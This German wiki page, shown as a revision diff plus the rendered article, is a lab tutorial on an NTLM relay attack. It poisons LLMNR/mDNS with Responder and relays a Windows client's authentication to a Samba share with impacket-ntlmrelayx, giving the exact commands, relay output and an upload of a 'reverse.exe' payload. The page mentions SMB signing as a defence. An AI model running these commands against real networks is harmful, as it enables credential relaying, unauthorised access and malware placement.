NTLM-Relay auf Samba-Freigabe mit Impacket: Unterschied zwischen den Versionen
| Zeile 1: | Zeile 1: | ||
| − | = | + | = NTLM-Relay auf Samba-Freigabe mit Impacket (Laborszenario) = |
| − | == | + | == Ziel == |
| − | Ein Windows | + | Ein Windows-Client im gleichen Netz wird über LLMNR/mDNS vergiftet. Seine NTLM-Authentifizierung wird durch den Angreifer per '''ntlmrelayx''' an einen Samba-Server weitergeleitet. Dort wird dem relayed Benutzer Gastzugriff gewährt, sodass: |
| − | + | * SMB-Zugriff auf die Samba-Freigabe möglich ist | |
| + | * Eine Datei in die Freigabe hochgeladen werden kann | ||
| − | == | + | == Voraussetzungen == |
| − | + | * Angreifer: Kali Linux mit impacket & responder | |
| − | + | * Opfer: Windows-Rechner im selben LAN (z. B. 10.0.10.102) | |
| − | + | * Ziel: Linux mit Samba (z. B. 10.0.10.104) | |
| − | + | * Der Samba-Server erlaubt Gastzugriff auf einen gemeinsamen Share | |
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | == | + | == 1. Samba-Ziel vorbereiten == |
| − | |||
| − | |||
| − | |||
| − | * | + | *Samba konfigurieren:* |
| − | + | <pre> | |
| + | [global] | ||
| + | workgroup = WORKGROUP | ||
| + | server role = standalone server | ||
| + | passdb backend = tdbsam | ||
| + | map to guest = Bad User | ||
| + | guest account = nobody | ||
| − | + | [share] | |
| − | + | comment = Relayziel | |
| − | + | path = /mnt/media/share | |
| + | read only = no | ||
| + | guest ok = yes | ||
| + | public = yes | ||
| + | browseable = yes | ||
| + | force user = nobody | ||
| + | force group = nogroup | ||
| + | </pre> | ||
| − | * | + | *Verzeichnis vorbereiten:* |
| + | mkdir -p /mnt/media/share | ||
| + | chown nobody:nogroup /mnt/media/share | ||
| + | chmod 777 /mnt/media/share | ||
| − | + | *Dienst neustarten:* | |
| − | + | systemctl restart smbd | |
| − | |||
| − | == | + | == 2. Responder starten (Poisoning-Komponente) == |
| − | |||
| − | + | responder -I eth0 | |
| − | |||
| − | + | → Vergiftet LLMNR und mDNS-Anfragen im Netz (z. B. wenn User `\\irgendwas` aufruft) | |
| − | |||
| − | |||
| − | + | == 3. ntlmrelayx vorbereiten == | |
| − | * | + | *Mit interaktiver SMB-Shell starten:* |
| − | + | impacket-ntlmrelayx -t smb://10.0.10.104 -smb2support -i --no-http-server --no-wcf-server --no-raw-server | |
| − | == | + | → Wartet auf NTLM-Anfragen und öffnet SMB-Zugriff zur Samba-Freigabe nach erfolgreichem Relay |
| − | * | + | |
| − | + | == 4. Angriff auslösen == | |
| − | + | ||
| − | + | *Auf dem Windows-Opfer:* | |
| + | Ausführen oder öffnen eines nicht existenten UNC-Pfades (z. B. via Explorer): | ||
| + | |||
| + | \\irgendwas | ||
| + | |||
| + | → Windows versucht Namensauflösung → wird vergiftet → NTLM wird an den Angreifer geschickt → ntlmrelayx leitet weiter | ||
| + | |||
| + | == 5. Ergebnis: Interaktive Shell auf Samba-Freigabe == | ||
| + | |||
| + | Nach erfolgreichem Relay erscheint: | ||
| + | <pre> | ||
| + | [*] Authenticating against smb://10.0.10.104 as DESKTOP-XXX\USERNAME SUCCEED | ||
| + | [+] Opening SMB relay connection | ||
| + | [!] Interactive shell opened | ||
| + | smb> | ||
| + | </pre> | ||
| + | |||
| + | *Dort kann man z. B. eine Datei hochladen:* | ||
| + | upload /tmp/reverse.exe | ||
| + | |||
| + | == 6. Erfolg prüfen == | ||
| + | |||
| + | Auf dem Samba-Ziel liegt nun eine Datei im Freigabe-Verzeichnis: | ||
| + | ls -l /mnt/media/share | ||
| + | |||
| + | → Ziel erreicht: SMB-Zugriff über NTLM-Relay hergestellt, Datei erfolgreich übertragen | ||
| + | |||
| + | == Zusammenfassung == | ||
| + | | Komponente | Aufgabe | | ||
| + | |------------|---------| | ||
| + | | responder | Vergiftung von Namensauflösung | | ||
| + | | ntlmrelayx | Relaying von NTLM auf SMB-Ziel | | ||
| + | | Samba | akzeptiert relayed Authentifizierung als Gast | | ||
| + | | Ziel | Datei auf Samba-Freigabe schreiben | | ||
== Hinweise == | == Hinweise == | ||
| − | * | + | * Wird der relayed Benutzer nicht akzeptiert, hilft: |
| − | * SMB | + | ** map to guest = Always |
| − | * | + | * Ohne Schreibrechte bringt der Zugriff wenig – Ziel so konfigurieren, dass write möglich ist |
| − | + | * Nur für Labor geeignet – in Produktivnetzen schwer absicherbar (SMB Signing aktivieren!) | |
| − | + | ||
| + | == Quellen == | ||
| + | * https://github.com/fortra/impacket | ||
| + | * https://wiki.samba.org/index.php/Setting_up_a_Samba_Share | ||
Version vom 18. Mai 2025, 12:43 Uhr
NTLM-Relay auf Samba-Freigabe mit Impacket (Laborszenario)
Ziel
Ein Windows-Client im gleichen Netz wird über LLMNR/mDNS vergiftet. Seine NTLM-Authentifizierung wird durch den Angreifer per ntlmrelayx an einen Samba-Server weitergeleitet. Dort wird dem relayed Benutzer Gastzugriff gewährt, sodass:
- SMB-Zugriff auf die Samba-Freigabe möglich ist
- Eine Datei in die Freigabe hochgeladen werden kann
Voraussetzungen
- Angreifer: Kali Linux mit impacket & responder
- Opfer: Windows-Rechner im selben LAN (z. B. 10.0.10.102)
- Ziel: Linux mit Samba (z. B. 10.0.10.104)
- Der Samba-Server erlaubt Gastzugriff auf einen gemeinsamen Share
1. Samba-Ziel vorbereiten
- Samba konfigurieren:*
[global] workgroup = WORKGROUP server role = standalone server passdb backend = tdbsam map to guest = Bad User guest account = nobody [share] comment = Relayziel path = /mnt/media/share read only = no guest ok = yes public = yes browseable = yes force user = nobody force group = nogroup
- Verzeichnis vorbereiten:*
mkdir -p /mnt/media/share chown nobody:nogroup /mnt/media/share chmod 777 /mnt/media/share
- Dienst neustarten:*
systemctl restart smbd
2. Responder starten (Poisoning-Komponente)
responder -I eth0
→ Vergiftet LLMNR und mDNS-Anfragen im Netz (z. B. wenn User `\\irgendwas` aufruft)
3. ntlmrelayx vorbereiten
- Mit interaktiver SMB-Shell starten:*
impacket-ntlmrelayx -t smb://10.0.10.104 -smb2support -i --no-http-server --no-wcf-server --no-raw-server
→ Wartet auf NTLM-Anfragen und öffnet SMB-Zugriff zur Samba-Freigabe nach erfolgreichem Relay
4. Angriff auslösen
- Auf dem Windows-Opfer:*
Ausführen oder öffnen eines nicht existenten UNC-Pfades (z. B. via Explorer):
\\irgendwas
→ Windows versucht Namensauflösung → wird vergiftet → NTLM wird an den Angreifer geschickt → ntlmrelayx leitet weiter
5. Ergebnis: Interaktive Shell auf Samba-Freigabe
Nach erfolgreichem Relay erscheint:
[*] Authenticating against smb://10.0.10.104 as DESKTOP-XXX\USERNAME SUCCEED [+] Opening SMB relay connection [!] Interactive shell opened smb>
- Dort kann man z. B. eine Datei hochladen:*
upload /tmp/reverse.exe
6. Erfolg prüfen
Auf dem Samba-Ziel liegt nun eine Datei im Freigabe-Verzeichnis:
ls -l /mnt/media/share
→ Ziel erreicht: SMB-Zugriff über NTLM-Relay hergestellt, Datei erfolgreich übertragen
Zusammenfassung
| Komponente | Aufgabe | |------------|---------| | responder | Vergiftung von Namensauflösung | | ntlmrelayx | Relaying von NTLM auf SMB-Ziel | | Samba | akzeptiert relayed Authentifizierung als Gast | | Ziel | Datei auf Samba-Freigabe schreiben |
Hinweise
- Wird der relayed Benutzer nicht akzeptiert, hilft:
- map to guest = Always
- Ohne Schreibrechte bringt der Zugriff wenig – Ziel so konfigurieren, dass write möglich ist
- Nur für Labor geeignet – in Produktivnetzen schwer absicherbar (SMB Signing aktivieren!)